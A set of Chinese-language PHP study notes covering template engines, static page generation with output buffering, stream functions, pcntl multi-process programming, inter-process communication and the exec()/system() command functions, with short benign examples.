1、它实现了一些自定义标签,用于展示层的简单逻辑处理,相较于不适用引擎的好处是代码看起来不像是PHP代码了,感觉上HTML代码和PHP代码完全分开了,但这只是假象,坏处是效率降低了,因为这样的页面需要专门的脚本解析后才能正确显示,解析的方法就是使用正则表达式替换,这明显降低了效率。到现在来看感觉PHP模板引擎有还不如没有呢,那为什么还要用它呢,重点是他的下一个功能。
2、文件缓存,这是模板引擎在生产环境中提高效率的非常好的手段。可以用在页面加载时所用数据量很大但不经常变或不需要实时更新,即使延迟一会也无妨的页面。文件缓存是PHP模板引擎的最重要的部分
模板引擎技术的核心比较简单。只要将美工页面(不包含任何的PHP代码)指定为模板文件,并将这个模板文件中有活动的内容,如数据库输出、用户交互等部分,定义成使用特殊"定界符"包含的"变量",然后放在模板文件中相应的位置。当用户浏览时,由PHP脚本程序打开该模板文件,并将模板文件中定义的变量进行替换。这样模板中的特殊变量被替换为不同的动态内容时,就会输出需要的页面。
目前可以在PHP中应用的并且比较成熟的模板有很多,例如Smarty、PHPLIB、IPB、xingTemplate等几十种,使用这些通过PHP编写的模板引擎,可以让代码脉络更加清晰,结构更加合理化,也可以让网站的维护和更新变得更容易,创造一个更加良好的开发环境,让开发和设计工作更容易结合在一起
smarty模板的使用比较简单,主要有两个非常核心的函数:assig()把模板中要使用的数据进行赋值,display()用来解析和展示最后的视图模板。
1、用过assign()函数把要解析的标签变量赋值
2、通过display()函数把标签替换成对象的php变量
模板中没有php代码,只用了{$name}就能把对应的变量给展示了出来,smarty编译后的文件最终还是变成了含有echo $this->var["name"];这样的php代码的模板,但这个模板中把标签转成php代码的工作交给了smarty模板引擎来完成的
使用PHP进行网站开发,一般执行结果直接输出到游览器,为了使用PHP生成静态页面就需要使用输出控制函数控制缓存区,以便获取缓存区的内容,然后再输出到静态HTML页面文件中以实现网站静态化。
PHP生成静态页面的思路为: 首先开启缓存,然后输出了HTML内容,也可以通过include将HTML内容以文件形式包含进来,之后获取缓存中的内容,清空缓存后通过PHP文件读写函数将缓存内容写入到静态HTML页面文件中
所谓静态模版技术就是通过某种方式使得用户在client端得到的是由PHP产生的html页面。如果这个html页面不会再被更新,那么当另外的用户再次浏览此页面时程序将不会再调用PHP以及相关的数据库,对于某些信息量比较大的网站例如sina、163、sohu,这种技术带来的好处是非常巨大的。
方法1:利用PHP模板生成静态页面
PHP模板实现静态化非常方便,比如安装和使用PHP Smarty(模板引擎)实现网站静态化
下面先简单说一下使用Smarty时通常动态读取的做法一般分这几步:
1、通过URL传递一个参数(ID);
2、然后根据此ID查询数据库;
3、取得数据后根据需要修改显示内容;
4、assign需要显示的数据;
5、display模板文件。
Smarty静态化过程只需要在上述过程中添加两个步骤。
第一: 在1之前使用ob_start()打开缓冲区。
第二: 在5之后使用ob_get_contents()获取内存未输出内容,然后使用fwrite()将内容写入目标html文件。
根据上述描述此过程是在网站前台实现的,而内容管理(添加、修改、删除)通常是在后台进行,为了能有效利用上述过程可以使用Header()。
在添加、修改程序完成之后使用Header()跳到前台读取,这样可以实现页面HTML化,然后在生成html后再跳回后台管理侧,而这两个跳转过程是不可见的。
方法2:使用PHP文件读写功能生成静态页面
$out1 = "<html><head><title>PHP网站静态化教程</title></head><body>欢迎访问PHP网站开发教程网www.leapsoul.cn,本文主要介绍PHP网站页面静态化的方法</body></html>";
$fp = fopen("leapsoulcn.html","w");
if(!$fp){
echo "System Error";
exit();
}else{
fwrite($fp,$out1);
fclose($fp);
echo "Success";
}
方法3: 使用PHP输出控制函数(Output Control)/ob缓存机制生成静态页面
输出控制函数(Output Control)也就是使用和控制缓存来生成静态HTML页面,也会使用到PHP文件读写函数。
比如某个商品的动态详情页地址是http://xxx.com?goods.php?gid=112,那么根据这个地址读取一次这个详情页的内容,然后保存为静态页,下次有人访问这个商品详情页动态地址时可以直接把已生成好的对应静态内容文件输出出来
将php动态页面内容生成静态缓存方法4: 使用nosql(以memcache为例)从内存中读取内容,其实这个已经不算静态化了而是缓存 memcached是键值一一对应,key默认最大不能超过128个字节,value默认大小是1M,因此1M大小满足大多数网页大小的存储
➤ 输出缓存句柄ob_gzhandler
PHP4.0.4有一个新的输出缓存句柄ob_gzhandler,它与前面的类相似,但用法不同。使用ob_gzhandler时要在php.ini中加入的内容如下:
output_handler = ob_gzhandler;
这行代码使得PHP激活输出缓存,并压缩它发送出去的所有内容。
如果由于某种原因不想在php.ini中加上这行代码,还可以通过PHP源文件所在目录的.htaccess文件改变默认的服务器行为(不压缩),语法如下:
php_value output_handler ob_gzhandler
或是从PHP代码调用:
ob_start("ob_gzhandler");
采用输出缓存句柄的方法确实非常有效,而且不会给服务器带来什么特殊的负荷。但必须注意的是Netscape Communicator对压缩图形的支持不佳,因此除非能够保证所有用户都使用IE浏览器,否则应该禁止压缩JPEG和GIF图形。一般地对于所有其他文件这种压缩都有效,但建议针对各种浏览器都分别进行测试,特别是当使用了特殊的插件或数据查看器时这一点尤其重要。
➤ 实现页面的gzip压缩
ob_start(ob_gzhandler);
要缓存的内容
加一个ob_gzhandler这个回调函数就可以了,不过这么做有些小问题,一是需要zlib支持,二是没有判断浏览器是否支持gzip
以前的做法是判断一下浏览器是否支持gzip,然后用第三方的gzip函数来压缩ob_get_contents()的内容,最后echo。
➤ 捕捉输出,如捕捉关键字进行如PHP语法高亮显示等处理
stream系列函数
【 stream_bucket_append() 】
【 stream_bucket_make_writeable() 】
【 stream_bucket_new() 】
【 stream_bucket_prepend() 】
【 stream_context_create() 】
【 stream_context_get_default() 】
【 stream_context_get_options() 】
【 stream_context_get_params() 】
【 stream_context_set_default() 】
【 stream_context_set_option() 】
【 stream_context_set_params() 】
【 stream_copy_to_stream() 】
int stream_copy_to_stream(resource $source,resource $dest [,int $maxlength=-1 [,int $offset=0]])
Copies data from one stream to another
【 stream_filter_append() 】
【 stream_filter_prepend() 】
【 stream_filter_register() 】
【 stream_filter_remove() 】
【 stream_get_contents() 】
【 stream_get_filters() 】
【 stream_get_line() 】
【 stream_get_meta_data() 】
【 stream_get_transports() 】
【 stream_get_wrappers() 】
【 stream_is_local() 】
【 stream_isatty() 】
【 stream_notification_callback() 】
【 stream_register_wrapper() 】
【 stream_resolve_include_path() 】
【 stream_select() 】
int stream_select(array &$read,array &$write,array &$except,int $tv_sec [,int $tv_usec = 0 ])
The stream_select() function accepts arrays of streams and waits for them to change status. Its operation is equivalent to that of the socket_select() function except in that it acts on streams
【 set_socket_blocking() 】
Alias of stream_set_blocking()
【 stream_set_blocking() 】
bool stream_set_blocking ( resource $stream ,bool $mode )
Set blocking/non-blocking mode on a stream
【 stream_set_chunk_size() 】
int stream_set_chunk_size ( resource $fp ,int $chunk_size )
【 stream_set_timeout() 】
bool stream_set_timeout ( resource $stream ,int $seconds [,int $microseconds = 0 ] )
Set timeout period on a stream
Sets the timeout value on stream,expressed in the sum of seconds and microseconds
When the stream times out,the 'timed_out' key of the array returned by stream_get_meta_data() is set to TRUE,although no error/warning is generated
【 stream_set_read_buffer() 】
int stream_set_read_buffer ( resource $stream ,int $buffer )
Set read file buffering on the given stream
Sets the read buffer. It's the equivalent of stream_set_write_buffer(),but for read operations
【 stream_set_write_buffer() 】
int stream_set_write_buffer ( resource $stream ,int $buffer )
Sets write file buffering on the given stream
Sets the buffering for write operations on the given stream to buffer bytes
【 stream_socket_client() 】
resource stream_socket_client ( string $remote_socket [,int &$errno [,string &$errstr [,float $timeout = ini_get("default_socket_timeout") [,int $flags = STREAM_CLIENT_CONNECT [,resource $context ]]]]] )
Open Internet or Unix domain socket connection
【 stream_socket_enable_crypto() 】
【 stream_socket_get_name() 】
【 stream_socket_pair() 】
【 stream_socket_recvfrom() 】
【 stream_socket_sendto() 】
int stream_socket_sendto(resource $socket ,string $data [,int $flags = 0 [,string $address ]])
Sends a message to a socket,whether it is connected or not
【 stream_socket_server() 】
resource stream_socket_server ( string $local_socket [,int &$errno [,string &$errstr [,int $flags = STREAM_SERVER_BIND | STREAM_SERVER_listen[,resource $context ]]]] )
Create an Internet or Unix domain server socket
Creates a stream or datagram socket on the specified local_socket.
This function only creates a socket,to begin accepting connections use stream_socket_accept()
【 stream_socket_accept() 】
resource stream_socket_accept ( resource $server_socket [,float $timeout = ini_get("default_socket_timeout") [,string &$peername ]] )
Accept a connection on a socket created by stream_socket_server()
【 stream_socket_shutdown() 】
bool stream_socket_shutdown ( resource $stream ,int $how )
Shutdown a full-duplex connection
【 stream_supports_lock() 】
【 stream_wrapper_register() 】
【 stream_wrapper_restore() 】
【 stream_wrapper_unregister() 】
php多进程
进程是程序执行时的一个实例,进程能够分配给cpu和内存等资源。进程一般包括指令集和系统资源,其中指令集就是代码,系统资源就是指cpu、内存以及I/O等。 进程有两个特性: 一是资源的所有权,一个是调度执行(指令集),线程是调度执行中的一部分,是指进程执行过程的路径,也叫程序执行流。线程有时候也叫轻量级进程。 进程就像地主,有土地(系统资源),线程就像佃户(执行种地流程)。每个地主(进程)只要有一个干活的佃户(线程)。 进程: 内存(变量)+上下文环境(系统状态) 子进程会复制父进程的内存和上下文环境,和父进程的内存和上下文环境完全独立的,不会相互影响 子进程会复制父进程的IO句柄,如打开的文件fd描述符,可对同一个文件进行读写操作,所以需要文件锁 进程-资源分配的最小单位,相对健壮,崩溃一般不影响其他进程,但是切换进程时耗费资源,效率差些。 线程-程序执行的最小单位,没有独立的地址空间,一个线程死掉可能整个进程就死掉,但是节省资源,切换效率高 线程是进程的一个执行流,线程不能分配系统资源,它是进程的一部分,比进程更小的独立运行的单位。 在web应用中每次访问php就建立一个PHP进程,当然也会建立至少一个PHP线程。 PHP使用pcntl来进行多进程编程 PHP中使用pthreads来进行多线程编程 nginx的每个进程只有一个线程,每个线程可以处理多个客户端的访问 php-fpm使用多进程模型,每个进程只有一个线程,每个线程只能处理一个客户端访问。 apache可能使用多进程模型,也可能使用多线程模型,取决于使用哪种SAPI. PHP多进程优点: 子进程结束以后内核会负责回收资源 子进程异常退出不会导致整个进程Thread退出,父进程还有机会重建流程 一个常驻主进程,只负责任务分发,逻辑更清楚 场景: 日常任务中有时需要通过php脚本执行一些日志分析,队列处理等任务,当数据量比较大时可以使用多进程来处理 php多进程需要pcntl,posix扩展支持,可以通过php - m查看,没安装的话需要重新编译php,加上参数--enable-pcntl 多进程实现只能在cli模式下,在web服务器环境下会出现无法预期的结果 如果是在循环中创建子进程,那么子进程中最后要exit,防止子进程进入循环。 子进程中的打开连接不能拷贝,使用的还是主进程的,需要用多例模式 孤儿进程: 一个父进程退出,而它的一或多个子进程还在运行,那么那些子进程将成为孤儿进程。孤儿进程将被init进程(进程号为1)所收养,并由init进程对它们完成状态收集工作。 僵尸进程: 一个进程使用fork创建子进程,如果子进程退出,而父进程并没有调用wait或waitpid获取子进程的状态信息,那么子进程的进程描述符仍然保存在系统中,这种进程称之为僵死进程。 僵尸进程危害: 如果进程不调用wait/waitpid的话,那么保留的那段信息就不会释放,其进程号就会一直被占用,但系统所能使用的进程号是有限的,如果大量的产生僵死进程,将因为没有可用的进程号而导致系统不能产生新的进程。任何一个子进程(init除外)在exit()之后,并非马上就消失掉,而是留下一个称为僵尸进程(Zombie)的数据结构,等待父进程处理。 已经产生的僵尸进程解决方法: kill掉父进程,它产生的僵死进程就变成了孤儿进程,这些孤儿进程会被init进程接管,init进程会wait()这些孤儿进程,释放它们占用的系统进程表中的资源。 僵尸进程解决办法 (1)通过信号机制 子进程退出时向父进程发送SIGCHILD信号,父进程处理SIGCHILD信号。在信号处理函数中调用wait进行处理僵尸进程。 (2)fork两次 原理是将子进程成为孤儿进程,从而其的父进程变为init进程,通过init进程可以处理僵尸进程。 多进程与多线程比较 对比维度 多进程 多线程 总结 数据共享、同步 数据共享复杂,需要用IPC;数据是分开的,同步简单 因为共享进程数据,数据共享简单,但也是因为这个原因导致同步复杂 各有优势 内存、CPU 占用内存多,切换复杂,CPU利用率低 占用内存少,切换简单,CPU利用率高 线程占优 创建销毁、切换 创建销毁、切换复杂,速度慢 创建销毁、切换简单,速度很快 线程占优 编程、调试 编程简单,调试简单 编程复杂,调试复杂 进程占优 可靠性 进程间不会互相影响 一个线程挂掉将导致整个进程挂掉 进程占优 分布式 适应于多核、多机分布式;如果一台机器不够,扩展到多台机器比较简单 适应于多核分布式 进程占优 1)需要频繁创建销毁的优先用线程 这种原则最常见的应用就是Web服务器了,来一个连接建立一个线程,断了就销毁线程,要是用进程,创建和销毁的代价是很难承受的 2)需要进行大量计算的优先使用线程 所谓大量计算,当然就是要耗费很多CPU,切换频繁了,这种情况下线程是最合适的。这种原则最常见的是图像处理、算法处理。 3)强相关的处理用线程,弱相关的处理用进程 一般的Server需要完成如下任务: 消息收发、消息处理。"消息收发"和"消息处理"就是弱相关的任务,而"消息处理"里面可能又分为"消息解码"、"业务处理",这两个任务相对来说相关性就要强多了。因此"消息收发"和"消息处理"可以分进程设计,"消息解码"、"业务处理"可以分线程设计。 当然这种划分方式不是一成不变的,也可以根据实际情况进行调整。 4)可能要扩展到多机分布的用进程,多核分布的用线程 5)都满足需求的情况下,用最熟悉、最拿手的方式 至于"数据共享、同步"、"编程、调试"、"可靠性"这几个维度的所谓的"复杂、简单"应该怎么取舍,没有明确的选择方法。一个选择原则: 如果多进程和多线程都能够满足要求,那么选择最熟悉、最拿手的那个。 实际应用中基本上都是"进程+线程"的结合方式,千万不要真的陷入一种非此即彼的误区。 消耗资源: 从内核的观点看,进程的目的就是���当分配系统资源(CPU时间、内存等)的基本单位。线程是进程的一个执行流,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。 通讯方式: 进程之间传递数据只能是通过通讯的方式,即费时又不方便。线程时间数据大部分共享(线程函数内部不共享),快捷方便。但是数据同步需要锁对于static变量尤其注意 线程自身优势: 提高应用程序响应;使多CPU系统更加有效。操作系统会保证当线程数不大于CPU数目时,不同的线程运行于不同的CPU上; 改善程序结构。一个既长又复杂的进程可以考虑分为多个线程,成为几个独立或半独立的运行部分,这样的程序会利于理解和修改。 pcntl_alarm — 为进程设置一个alarm闹钟信号 pcntl_errno — 别名 pcntl_strerror pcntl_exec — 在当前进程空间执行指定程序 pcntl_fork — 创建子进程 pcntl_get_last_error — Retrieve the error number set by the last pcntl function which failed pcntl_getpriority — 获取任意进程的优先级 pcntl_setpriority — 修改任意进程的优先级 pcntl_signal_dispatch — 调用等待信号的处理器 pcntl_signal — 安装一个信号处理器 pcntl_sigprocmask — 设置或检索阻塞信号 pcntl_sigtimedwait — 带超时机制的信号等待 pcntl_sigwaitinfo — 等待信号 pcntl_strerror — Retrieve the system error message associated with the given errno pcntl_wait — 等待或返回fork的子进程状态 pcntl_waitpid — 等待或返回fork的子进程状态 pcntl_wexitstatus — 返回一个中断的子进程的返回代码 pcntl_wifexited — 检查状态代码是否代表一个正常的退出。 pcntl_wifsignaled — 检查子进程状态码是否代表由于某个信号而中断 pcntl_wifstopped — 检查子进程当前是否已经停止 pcntl_wstopsig — 返回导致子进程停止的信号 pcntl_wtermsig — 返回导致子进程中断的信号 【 cli_set_process_title() 】 bool cli_set_process_title ( string $title ) Sets the process title visible in tools such as top and ps. This function is available only in CLI mode 成功时返回TRUE,否则FALSE 【 cli_get_process_title() 】 string cli_get_process_title ( void ) Returns the current process title,as set by cli_set_process_title(). Note that this may not exactly match what is shown in ps or top,depending on your operating system. This function is available only in CLI mode Return a string with the current process title or NULL on error
【 pcntl_fork() 】 int pcntl_fork ( void ) 在当前进程当前位置产生分支即子进程,该函数需要安装pcntl扩展包 fork是创建了一个子进程,子进程会继承父进程当前的上下文,父进程和子进程都从fork的位置开始向下继续执行,不同的是父进程执行过程中得到的fork返回值为PID子进程号,而子进程得到的是0,从判断返回值来区分父进程和子进程,分配父进程和子进程去做不同的逻辑处理 返回值 一次调用两次返回,在父进程中返回产生的子进程id(pid),在子进程中返回固定值0,出错返回在父进程上下文返回-1,不会创建子进程,并且会引发一个PHP错误 系统的初始进程init进程的pid为1,后来产生进程的pid都会大于此进程,所以可以通过判断pcntl_fork()的返回值大于1来确实当前进程是父进程也可以通过判断pcntl_fork()的返回值为0来确定子进程。
进程间通信方式IPC
进程用户空间是相互独立的,一般不能相互访问,很多情况下进程间需要互相通信来完成系统的某项功能,进程通过与内核及其它进程之间的互相通信来协调它们的行为。 进程通信的应用场景 数据传输: 一个进程需要将它的数据发送给另一个进程,发送的数据量在一个字节到几兆字节之间。 共享数据: 多个进程想要操作共享数据,一个进程对共享数据的修改,别的进程应该立刻看到。 通知事件: 一个进程需要向另一个或一组进程发送消息,通知它(它们)发生了某种事件(如进程终止时要通知父进程)。 资源共享: 多个进程之间共享同样的资源。为了作到这一点,需要内核提供锁和同步机制。 进程控制: 有些进程希望完全控制另一个进程的执行(如Debug进程),此时控制进程希望能够拦截另一个进程的所有陷入和异常,并能够及时知道它的状态改变。 通常linux中的进程通信方式有: 消息队列、信号量、共享内存、信号、管道、socket 【 信号 】 使用信号管理创建好的子进程 在计算机科学中,信号是Unix、类Unix及其他POSIX兼容的操作系统中进程间通讯的一种有限制的方式,它是一种异步的通知机制,用来提醒进程一个事件已经发生。 分发信号处理器 通过在父进程接收子进程传来的信号判断子进程状态,对子进程进行管理。 需要在父进程里使用pcntl_signal()函数和pcntl_signal_dispatch()函数来给各个子进程安装信号处理器。 安装并调用信号处理器后,一旦子进程有相应的信号返回给父进程,父进程就可以调用相应的callback函数对子进程处理 【 pcntl_alarm() 】 int pcntl_alarm ( int $seconds ) 为进程设置一个alarm闹钟信号 创建一个计时器,在指定的秒数后向进程发送一个SIGALRM信号。每次对pcntl_alarm()的调用都会取消之前设置的alarm信号。 返回上次alarm调度(离alarm信号发送)剩余的秒数,或者之前没有alarm调度或者之前调度已完成时返回0。
【 posix_kill() 】 bool posix_kill ( int $pid ,int $sig ) Send the signal sig to the process with the process identifier pid 通过向子进程发送一个信号来操作子进程,在需要要时可以选择给子进程发送进程终止信号来终止子进程 You should see all signals and their codes in your system using: kill -l PHP内常见的信号常量有: SIGCHLD 子进程退出成为僵尸进程会向父进程发送此信号 SIGHUP 进程挂起 SIGTEM 进程终止 【 pcntl_exec() 】 void pcntl_exec ( string $path [,array $args [,array $envs ]] ) 在当前进程空间以给定参数执行指定程序,当发生错误时返回FALSE,没有错误时没有返回 参数path必须是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本) 参数args是一个要传递给程序的参数的字符串数组。 参数envs是一个要传递给程序作为环境变量的字符串数组。这个数组是key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。 【 pcntl_wait() 】 int pcntl_wait ( int &$status [,int $options = 0 ] ) 等待或返回fork的子进程状态 wait函数挂起当前进程的执行直到一个子进程退出或接收到一个信号要求中断当前进程或调用一个信号处理函数。如果一个子进程在调用此函数时已经退出(俗称僵尸进程)此函数立刻返回,子进程使用的所有系统资源将被释放 这个函数等同于以-1作为参数pid的值并且没有options参数来调用pcntl_waitpid()函数 阻塞当前进程,直到任意一个子进程退出或收到一个结束当前进程的信号,注意是结束当前进程的信号,子进程结束发送的SIGCHLD不算。使用$status返回子进程的状态码,并可以指定第二个参数来说明是否以阻塞状态调用 阻塞方式调用的,函数返回值为子进程的pid,如果没有子进程返回值为-1; 非阻塞方式调用,函数还可以在有子进程在运行但没有结束的子进程时返回0 【 pcntl_waitpid() 】 int pcntl_waitpid ( int $pid ,int &$status [,int $options = 0 ] ) 等待或返回fork的子进程状态 返回退出的子进程进程号,发生错误时返回-1,如果提供了WNOHANG作为option并且没有可用子进程时返回0 挂起当前进程的执行直到参数pid指定的进程号的进程退出,或接收到一个信号要求中断当前进程或调用一个信号处理函数。如果$pid为-1则等待任意一个子进程 如果pid指定的子进程在此函数调用时已经退出(俗称僵尸进程)此函数将立刻返回,并释放子进程的所有系统资源,此进程可以避免子进程变成僵尸进程,造成系统资源浪费 参数pid可选值 < -1 等待任意进程组ID等于参数pid给定值的绝对值的进程。 -1 等待任意子进程;与pcntl_wait函数行为一致。 0 等待任意与调用进程组ID相同的子进程。 > 0 等待进程号等于参数pid值的子进程。 参数status pcntl_waitpid()将会存储状态信息到status参数上,通过status返回的状态信息可以用以下函数获取其具体的值 pcntl_wifexited(),pcntl_wifstopped(),pcntl_wifsignaled(),pcntl_wexitstatus(),pcntl_wtermsig()及pcntl_wstopsig() options 如果操作系统(多数BSD类系统)允许使用wait3,可以提供可选的options参数。如果这个参数没有提供,wait将会被用作系统调用。如果wait3不可用,提供参数options不会有任何效果。options的值可以是0或以下两个常量或两个常量"或运算"结果(即两个常量代表意义都有效)。 WNOHANG 如果没有子进程退出立刻返回。 WUNTRACED 子进程已经退出并且其状态未报告时返回。 【 pcntl_signal() 】 bool pcntl_signal(int $signo,callback $handler) 为signo指定的信号安装一个信号处理器 signo参数是信号编号。 handler参数信号处理器可以是用户创建的函数或方法的名字,也可以是系统常量SIG_IGN(忽略信号处理程序)或SIG_DFL(默认信号处理程序) 使用一个对象方法的时候,该对象的引用计数回增加使得它在你改变为其他处理或脚本结束之前是持久存在的。
【 pcntl_signal_dispatch() 】 bool pcntl_signal_dispatch ( void ) 调用等待信号的处理器,调用每个等待信号通过pcntl_signal()安装的处理器,成功时返回TRUE,失败时返回FALSE父进程等待5秒钟,向子进程发送sigint信号。子进程捕获信号,掉信号处理函数处理
【 进程间通信之消息队列 】 消息队列是存放在内存中的一个队列,独立于两个进程之外的。由于消息队列取数据时只有一个进程能取到,所以不需要额外的锁或信号量 消息队列是一条公共消息链,消息存取一般为先进先出FIFO,实现多个进程对消息的原子操作和异步存取。消息队列应用广泛,不光是进程间通信,流程异步化、解耦方面也应用广泛。 消息队列则相当于一条流水线的一段,上层有多个工人把产品放入,下层有多个工人将产品取出加工。如创建3个生产者子进程,2个消费者子进程。这5个进程将通过消息队列通信 消息队列实现互斥锁的思路: 先给消息队列初始化一个值,并发进程竞争获取此值,获取到值的进程进行共享资源的处理,进程不再共享资源时,再将此值放入队列,通过队列的原子性来保证同时只有一个进程访问共享资源。 ipcs -q命令查看系统的消息队列情况 通过指定key创建一个消息队列,只要拥有相同的key就能访问到同一个消息队列 消息队列数据通信是通过数据块数据包的方式,管道则是通过流的形式,消息队列中传递的数据有大小的限制 进程关闭之后消息队列会一直保留直到被主动关闭,数据被清空 【 ftok() 】 int ftok ( string $pathname ,string $proj ) 将一个可访问的文件路径名$pathname转换为一个可供shmop_open()和其他系统VIPC keys使用的整数IPC key,proj参数是读写方式 【 msg_get_queue() 】 resource msg_get_queue ( int $key [,int $perms = 0666 ] ) Create or attach to a message queue returns an id that can be used to access the System V message queue with the given key. The first call creates the message queue with the optional perms. A second call to msg_get_queue() for the same key will return a different message queue identifier,but both identifiers access the same underlying message queue. 【 msg_send() 】 bool msg_send ( resource $queue ,int $msgtype ,mixed $message [,bool $serialize = TRUE [,bool $blocking = TRUE [,int &$errorcode ]]] ) sends a message of type msgtype (which MUST be greater than 0) to the message queue specified by queue 【 msg_receive() 】 bool msg_receive ( resource $queue ,int $desiredmsgtype ,int &$msgtype ,int $maxsize ,mixed &$message [,bool $unserialize = TRUE [,int $flags = 0 [,int &$errorcode ]]] ) Receive a message from a message queue receive the first message from the specified queue of the type specified by desiredmsgtype
【 进程间通信之信号 】 信号是一种比较复杂的通信方式,用于通知接收进程某个事件已经发生 【 进程间通信之套接字 】 socket,即套接字是一种通信机制,凭借这种机制客户/服务器(即要进行通信的进程)系统的开发工作既可以在本地单机上进行,也可以跨网络进行。也就是说它可以让不在同一台计算机但通过网络连接计算机上的进程进行通信。也因为这样,套接字明确地将客户端和服务器区分开来。 套接字的特性由3个属性确定,它们分别是: 域、类型和协议 【 进程间通信之共享内存 】 共享内存是最快的IPC(进程间通信)方式,它是针对其它进程间通信方式运行效率低而专门设计的 为了在多个进程间交换信息,内核专门留出了一块内存区,可以由需要访问的进程将其映射到自己的私有地址空间。进程就可以直接读写这一块内存而不需要进行数据的拷贝,从而大大提高效率。任何一个进程都可以访问,在同一时刻可以有多个进程访问该区域,为了保证数据的一致性,往往与其他通信机制配合使用,需要对该内存区域加锁或信号量配合使用,来实现进程间的同步与通信 共享内存一定要关心其生存周期: System V共享内存区域对象是随内核持续的,除非显式删除共享内存区域对象,即使所有访问共享内存区域对象的进程都已经正常结束,共享内存区域对象仍然在内核中存在,在内核重新引导之前,对该共享内存区域对象的任何改写操作都将一直保留 可通过命令行$ ipcs -a查看 ------ Message Queues -------- key msqid owner perms used-bytes messages ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status ------ Semaphore Arrays -------- key semid owner perms nsems 信号量又称为信号灯: 是系统提供的一种原子操作,一个信号量同时只有一个进程能操作。一个进程获得了某个信号量就必须被该进程释放掉 用来协调不同进程间的数据对象,而最主要的应用是共享内存方式的进程间通信 信号量是一个计数器,可以用来控制多个线程对共享资源的访问,记录对某个资源(如共享内存)的存取状况,它不是用于交换大批数据,而用于多线程之间的同步.它常作为一种锁机制,防止某进程在访问资源时其它进程也访问该资源.因此,主要作为进程间以及同一个进程内不同线程之间的同步手段 一般说来为了获得共享资源,进程需要执行下列操作: 1、获取控制共享资源的信号量的值; 2、若值为正,进程将信号量减1,进程操作共享资源,进入步骤4; 3、若值0,则拒绝进程使用共享资源,进程进入睡眠状态,直至信号量值大于0后,进程被唤醒,转入步骤1; 4、当进程不再使用共享资源时,将信号量值加1。如果此时有进程正在睡眠等待此信号量,则唤醒此进程; 信号量的使用可以类比为: 一个房间必须用钥匙才能开门,有N把钥匙放在门口,拿到钥匙开门进入房间,出来时将钥匙放回并告知等待的人去取钥匙开门。 此例中钥匙的数量限制了同一时间内在房间的最大人数。房间即共享资源,钥匙是信号量,而想进入房间的人则是多个进程。 信号量有二值和多值之分,一般共享资源都不允许多个进程同时操作,多使用二值信号量。 以下创建多个进程修改内存中的同一个值
【 进程间通信之管道 】 管道是比较常用的多进程通信手段,管道分为无名管道与有名管道 无名管道是一种半双工的通信方式,数据只能单向流动,而且只能在具有亲缘关系的进程间使用.进程的亲缘关系一般指的是父子关系。无明管道一般用于两个不同进程之间的通信。当一个进程创建了一个管道,并调用fork创建自己的一个子进程后,父进程关闭读管道端,子进程关闭写管道端,这样提供了两个进程之间数据流动的一种方式。 有名管道也是一种半双工的通信方式,但是它允许无亲缘关系进程间的通信 父进程中创建管道,管道是一组2个特殊的描述符,一个用来读一个用来写 子进程会拥有2个同样的描述符,父进程通过写描述符往管道写内容的时候,子进程可通过读描述符从管道读内容 管道需要在fork函数调用前创建 如果一端主动关掉管道,另一端的读取操作会直接返回0,然后关闭描述符子进程写入数据,父进程读取数据
【 多进程实例 - 处理文件 】 当一个文件包含许多任务(每个任务一行),并且各任务之间不存在执行的先后顺序关系,可以将文件进行分割(分割后的文件数量与进程数一致),然后使用多进程进行处理。 例如,现在有10个邮箱账号存储在文件mailist.txt中,每次发送邮件需要耗时2s,则采用单进程依次发送完这些邮件需要耗时20。 如果采用多进程,例如3个进程进行处理,首先需要将文件按行数拆分成3个小文件,其中两个文件是4条记录,一个文件是2条记录。每个进程处理一个小文件,则不同进程发送完邮件的耗时为8、8、6,总耗时取最大值为8s。 拆分文件 原始文件 maillist.txt 000000@163.com 111111@163.com 222222@163.com 333333@163.com 444444@163.com 555555@163.com 666666@163.com 777777@163.com 888888@163.com 999999@163.com 拆分操作 split -a 1 -l 4 maillist.txt task邮件操作类MailWork.php多进程调用脚本 text_task.php多进程执行脚本 text_mail.php
【 多进程实例 - 处理消息队列 】 这是另外一种常见的常见,我们将耗时操作放入消息队列,通过脚本从消息队列中取出并执行记录。如果通过单个进程依次读取并处理消息,容易使队列中积累大量数据,导致操作的延迟时间较长,这种场景可以通过多个进程来读取并处理消息。redis中的pop操作具有原子性,不会存在多个读取到相同的队列消息的情况多进程调用脚本 redis_task.php多进程执行脚本 redis_mail.php
安全模式和PHP执行服务器命令
由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:
1、执行外部命令
2、在打开文件时有些限制
3、连接MySQL数据库
4、基于HTTP的认证
在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定。
如果调用一个应该可以输出结果的外部命令(PHP脚本没有错误)得到的却是一片空白,那么很可能PHP运行在安全模式下
一: 用PHP提供的专门函数(四个):
PHP提供4个专门的执行外部命令的函数: exec(),system(),passthru(),shell_exec()
【 exec() 】
string exec ( string $command [,array &$output [,int &$return_var ]] )
执行一个外部程序
返回命令执行结果的最后一行内容。 如果需要获取未经处理的全部输出数据,请使用passthru()函数。
如果想要获取命令的输出内容,请确保使用output参数。
参数command是要执行的命令。
参数output表示会用命令执行的输出填充此数组,每行输出填充数组中的一个元素。 数组中的数据不包含行尾的空白字符如\n字符。如果数组中已经包含了部分元素exec()函数会在数组末尾追加内容。如果不想在数组末尾进行追加,请在传入exec()函数之前对数组使用unset()函数进行重置。
参数return_var
如果同时提供output和return_var参数,命令执行后的返回状态会被写入到此变量。
当用户提供的数据传入此函数,使用 escapeshellarg() 或 escapeshellcmd() 来确保用户欺骗系统从而执行任意命令
// 输出运行中的 php/httpd 进程的创建者用户名
echo exec('whoami');
exec("/bin/ls -l");
exec("/bin/ls -l",$res); # $res是一个数据,每个元素代表结果的一行
exec("/bin/ls -l",$res,$rc);
【 system() 】
string system ( string $command [,int &$return_var ] )
执行外部程序,并且显示输出,成功则返回命令输出的最后一行,失败则返回 FALSE
同C版本的system()函数一样,本函数执行command参数所指定的命令并且输出执行结果。
如果PHP运行在服务器模块中,system()函数还会尝试在每行输出完毕之后自动刷新web服务器的输出缓存。
